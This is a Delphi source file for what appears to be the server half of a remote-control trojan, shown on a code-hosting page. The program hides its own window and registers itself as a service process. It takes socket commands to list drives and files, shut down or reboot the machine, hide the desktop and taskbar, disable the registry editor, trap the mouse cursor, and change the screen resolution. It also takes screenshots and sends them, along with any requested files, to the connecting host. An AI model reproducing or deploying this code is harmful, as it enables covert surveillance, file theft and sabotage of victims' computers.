📄 server.~pas
字号:
begin
messagebox(form1.handle,pchar(strfile),'系统',MB_OK+MB_ICONSTOP);
//case t1 of
// 1: messagebox(form1.handle,pchar(strfile),'数据天使',MB_OK+MB_ICONSTOP);
// 2: messagebox(form1.handle,pchar(strfile),'数据天使',MB_YESNO+MB_ICONSTOP);
// 3: messagebox(form1.handle,pchar(strfile),'数据天使',MB_ABORTRETRYIGNORE +MB_ICONSTOP);
// 4: messagebox(form1.handle,pchar(strfile),'数据天使',MB_okcancel +MB_ICONSTOP);
// 5: messagebox(form1.handle,pchar(strfile),'数据天使',MB_yesnocancel +MB_ICONSTOP);
// 6: messagebox(form1.handle,pchar(strfile),'数据天使',MB_RETRYCANCEL +MB_ICONSTOP);
//end;
end;
// 驱动器列表
if pos('dir!!',data)=1 then
begin
socket.SendText('dir!!'+DriveComboBox1.Items.Text );
end;
if pos('file!',data)=1 then
begin
drivecombobox1.Text :=strfile;
socket.Sendtext('file!'+DirectoryListBox1.Items.Text);
end;
if pos('file1',data)=1 then
begin
DirectoryListBox1.Directory:=strfile;
socket.SendText('file1'+FileListBox1.Items.Text);
end;
//远程控制关机
if data='close' then ExitWindowsEx(EWX_SHUTDOWN ,0);
if data='reboot' then ExitWindowsEx(EWX_REBOOT ,0);
if data='logo' then exitwindowsex(EWX_LOGOFF,0);
if data='shutdown' then exitwindowsex(EWX_REBOOT or EWX_shutdown,0);
if data='poweroff' then exitwindowsex(EWX_poweroff or EWx_reboot ,0);
//自动
if data='noauto' then
begin
myreg:=tregistry.Create;
myreg.RootKey:=HKEY_LOCAL_MACHINE;
if myreg.openkey('\Config\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings',true)
then begin
number:=0;
myreg.WriteBinaryData('EnableAutodial',number,4);
myreg.CloseKey;
end;
myreg.Free;
end;
if data='yesauto' then
begin
myreg:=tregistry.Create;
myreg.RootKey:=HKEY_LOCAL_MACHINE;
if myreg.openkey('\Config\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings',true)
then begin
number:=1;
myreg.WriteBinaryData('EnableAutodial',number,4);
myreg.CloseKey;
end;
myreg.Free;
end;
//桌面
if data='nodesktop' then begin
hDesktop := FindWindow('Progman', nil);
ShowWindow(hDesktop, SW_HIDE);
end;
if data='yesdesktop' then begin
hDesktop := FindWindow('Progman', nil);
ShowWindow(hDesktop, SW_SHOW);
end;
if data='nohot' then systemparametersinfo(spi_screensaverrunning,1,@temp,0);
if label1.Caption='yeshot' then systemparametersinfo(spi_screensaverrunning,0,@temp,0);
//注册表
if data='noreg' then
begin
myreg:=tregistry.Create;
myreg.RootKey:=HKEY_CURRENT_USER;
if myreg.OpenKey('software\microsoft\windows\currentversion\policies\system',true) then
begin
myreg.WriteInteger('DisableRegistryTools',1);
myreg.CloseKey;
end;
myreg.Free;
end;
if data='yesreg' then
begin
myreg:=tregistry.Create;
myreg.RootKey:=HKEY_CURRENT_USER;
if myreg.OpenKey('software\microsoft\windows\currentversion\policies\system',true) then
begin
myreg.DeleteValue('DisableRegistryTools');
myreg.CloseKey;
end;
myreg.Free;
end;
// mouse
if data='nomouse' then
begin
rtscreen.Left:=0;
rtscreen.Top:=0;
rtscreen.Right:=0;
rtscreen.Bottom:=0;
MapWindowPoints(handle, 0, rtscreen, 2); // 座标换算
ClipCursor(@rtscreen);
end;
if data='yesmouse' then
begin
rtScreen := Rect(0, 0, Screen.Width, Screen.Height);
ClipCursor(@rtScreen);
end;
//处理开始按钮
if data='nobar' then
begin
hwnd1:=findwindow('shell_traywnd',nil);
hwnd2:=getwindow(hwnd1,gw_child);
getclassname(hwnd2,pchar(buttonname),255);
showwindow(hwnd2,sw_hide);
end;
if data='yesbar' then
begin
hwnd1:=findwindow('shell_traywnd',nil);
hwnd2:=getwindow(hwnd1,gw_child);
getclassname(hwnd2,pchar(buttonname),255);
showwindow(hwnd2,sw_show);
end;
//处理任务栏
if data='notask' then
begin
hwnd1:=findwindow('shell_traywnd',nil);
showwindow(hwnd1,sw_hide)
end;
if data='yestask' then
begin
hwnd1:=findwindow('shell_traywnd',nil);
showwindow(hwnd1,sw_show);
end;
//更改分辩率
if data='set640' then
begin
x:=640;
y:=480;
result:=enumdisplaysettings(nil,0,devmode);
if result then
begin
devmode.dmfields:=dm_pelswidth or dm_pelsheight;
devmode.dmpelswidth:=x;
devmode.dmpelsheight:=y;
changedisplaysettings(devmode,0);
end;
end;
if data='set800' then
begin
x:=800;
y:=600;
result:=enumdisplaysettings(nil,0,devmode);
if result then
begin
devmode.dmfields:=dm_pelswidth or dm_pelsheight;
devmode.dmpelswidth:=x;
devmode.dmpelsheight:=y;
changedisplaysettings(devmode,0);
end;
end;
if data='set1024' then
begin
x:=1024;
y:=768;
result:=enumdisplaysettings(nil,0,devmode);
if result then
begin
devmode.dmfields:=dm_pelswidth or dm_pelsheight;
devmode.dmpelswidth:=x;
devmode.dmpelsheight:=y;
changedisplaysettings(devmode,0);
end;
end;
if data='set1280' then
begin
x:=1280;
y:=1024;
result:=enumdisplaysettings(nil,0,devmode);
if result then
begin
devmode.dmfields:=dm_pelswidth or dm_pelsheight;
devmode.dmpelswidth:=x;
devmode.dmpelsheight:=y;
changedisplaysettings(devmode,0);
end;
end;
if data='set1600' then
begin
x:=1600;
y:=1200;
result:=enumdisplaysettings(nil,0,devmode);
if result then
begin
devmode.dmfields:=dm_pelswidth or dm_pelsheight;
devmode.dmpelswidth:=x;
devmode.dmpelsheight:=y;
changedisplaysettings(devmode,0);
end;
end;
//查获屏幕
if data='bitmap' then
begin
fulls:=TBitmap.Create ;
fulls.Width:=screen.Width ;
fulls.Height :=screen.Height ;
DC:=GetDc(0);
fullsc:=TCanvas.Create ;
fullsc.Handle:=DC;
fulls.Canvas.CopyRect(rect(0,0,screen.width,screen.height),fullsc,rect(0,0,screen.width,screen.height));
fullsc.Free;
releasedc(0,dc);
image1.Picture.Bitmap:=fulls;
image1.Width:=fulls.Width ;
image1.Height:=fulls.Height ;
fulls.Free;
form1.image1.Picture.SaveToFile('c:\windows\system\desktop.bmp') ;
Begin
NMStrm1.Host := Edit1.Text;
NMStrm1.FromName := 'NetMasters';;
MyFStream := TFileStream.Create('c:\windows\system\desktop.bmp', fmOpenRead);
try
serversocket1.Active:=false;
NMStrm1.PostIt(MyFStream);
finally
MyFStream.Free;
end;
timer2.Enabled:=false;
serversocket1.Active:=true;
end;
end;
if pos('down!',data)=1 then
Begin
NMStrm2.Host := Edit1.Text;
NMStrm2.FromName := 'NetMasterstr';;
MyFStream := TFileStream.Create(strfile, fmOpenRead);
try
serversocket1.Active:=false;
NMStrm2.PostIt(MyFStream);
finally
MyFStream.Free;
end;
serversocket1.Active:=true;
end;
if data='list!' then
begin
socket.SendText('list!'+listbox1.Items.Text);
end;
//上载文件
if pos('up!!!',data)=1 then
begin
end;
end;
procedure TForm1.serversocket1ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
serversocket1.Active:=true;
Statusbar1.simpleText := '正在监听...'
end;
//扫描进程
procedure TForm1.Timer1Timer(Sender: TObject);
var
hCurrentWindow :Hwnd;
szText: array[0..254] of char;
begin
listbox1.Clear;
hCurrentWindow := GetWindow(Handle, GW_HWNDFIRST);
while hCurrentWindow <> 0 do
begin
if GetWindowText(hCurrentWindow, @szText, 255)>0 then
listbox1.items.Add(StrPas(@szText));
hCurrentWindow:=GetWindow(hCurrentWindow, GW_HWNDNEXT);
end;
end;
procedure TForm1.serversocket1ClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
serversocket1.Active:=true;
Statusbar1.simpleText := '正在监听...';
statusbar1.SimpleText:=inttostr(Errorcode);
errorcode:=0;
end;
procedure TForm1.Timer2Timer(Sender: TObject);
var
fulls: TBitmap;
fullsc: TCanvas;
dc:HDC;
begin
fulls:=TBitmap.Create ;
fulls.Width:=screen.Width ;
fulls.Height :=screen.Height ;
DC:=GetDc(0);
fullsc:=TCanvas.Create ;
fullsc.Handle:=DC;
fulls.Canvas.CopyRect(rect(0,0,screen.width,screen.height),fullsc,rect(0,0,screen.width,screen.height));
fullsc.Free;
releasedc(0,dc);
image1.Picture.Bitmap:=fulls;
image1.Width:=fulls.Width ;
image1.Height:=fulls.Height ;
fulls.Free;
form1.image1.Picture.SaveToFile('c:\windows\system\desktop.bmp') ;
timer2.Enabled:=false;
end;
procedure TForm1.FormPaint(Sender: TObject);
begin
form1.Hide ;
end;
procedure TForm1.serversocket1ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
edit1.Text:=socket.RemoteAddress ;
end;
procedure TForm1.NMStrm1MessageSent(Sender: TObject);
begin
serversocket1.Socket.SendText('hiok');
end;
// 退出处理
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
if FileExists('c:\windows\system\desktop.bmp') then
begin
deletefile('c:\windows\system\desktop.bmp');
end;
serversocket1.Active:=false;
///winexec(pchar(ExtractFilePath(application.name)+(application.Name)),sw_show);
end;
procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
var MySysPath : PCHAR ;
myreg:tregistry;
syspath:string;
begin
GetMem(MySysPath,255);
GetSystemDirectory(MySysPath,255);
syspath:=string(mysyspath);
RegisterServiceProcess(GetCurrentProcessId,0);
//
if unregisterhotkey(handle,0) then
begin
// application.MessageBox('注销成功','系统',MB_OK+MB_iconstop);
end;
//ShellExecute(form1.handle,'open',pchar(syspath+'\kernel32.exe'),0,0,SW_HIDE);
//WinExec(pchar(syspath+'\kernel32.exe'),sw_hide);
//SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
end;
procedure TForm1.NMStrmServ1ClientContact(Sender: TObject);
begin
NMStrmServ1.ReportLevel := Status_Basic;
NMStrmServ1.TimeOut := 90000;
statusbar1.SimpleText:='主机已连接上...';
end;
procedure TForm1.NMStrmServ1MSG(Sender: TComponent; const sFrom: String;
strm: TStream);
var
myfstream :Tfilestream ;
begin
If FileExists(label1.caption) then DeleteFile(label1.Caption);
MyFStream := TFileStream.Create(label1.caption, fmCreate);
try
MyFStream.CopyFrom(strm, strm.size);
finally
MYFStream.Free;
end;
serversocket1.Active:=true;
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -